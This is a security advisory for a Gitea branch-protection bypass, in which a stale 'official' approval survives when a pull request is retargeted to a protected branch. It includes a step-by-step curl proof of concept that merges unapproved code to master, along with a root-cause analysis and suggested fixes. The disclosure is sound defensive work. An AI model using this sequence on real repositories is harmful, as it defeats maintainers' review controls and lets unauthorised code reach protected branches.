GHSA-w5pg-649r-p6gg CVE-2026-58439 GO-2026-6080
Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.53%
- Chance of exploitation in the next 30 days. Higher than 44.52% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
1.27.0- Upgrade code.gitea.io/gitea to this version or later
Description
Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates
pr.BaseBranch - Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate
officialon existing reviews - Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs:
- Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user
admin-reviewer - User
attackerhas write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Observed API Responses
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0 |
1.27.0 |
| code.gitea.io/gitea | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.27.0
- go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
- github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg
- github.com/go-gitea/gitea/pull/38319
- github.com/go-gitea/gitea/pull/38402
- github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e
- github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef
- github.com/go-gitea/gitea/releases/tag/v1.27.0
- blog.gitea.com/gitea-1.27.0-is-released
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
| GHSA-fw57-jgch-pgf3 Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests | High | Also affects code.gitea.io/gitea |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor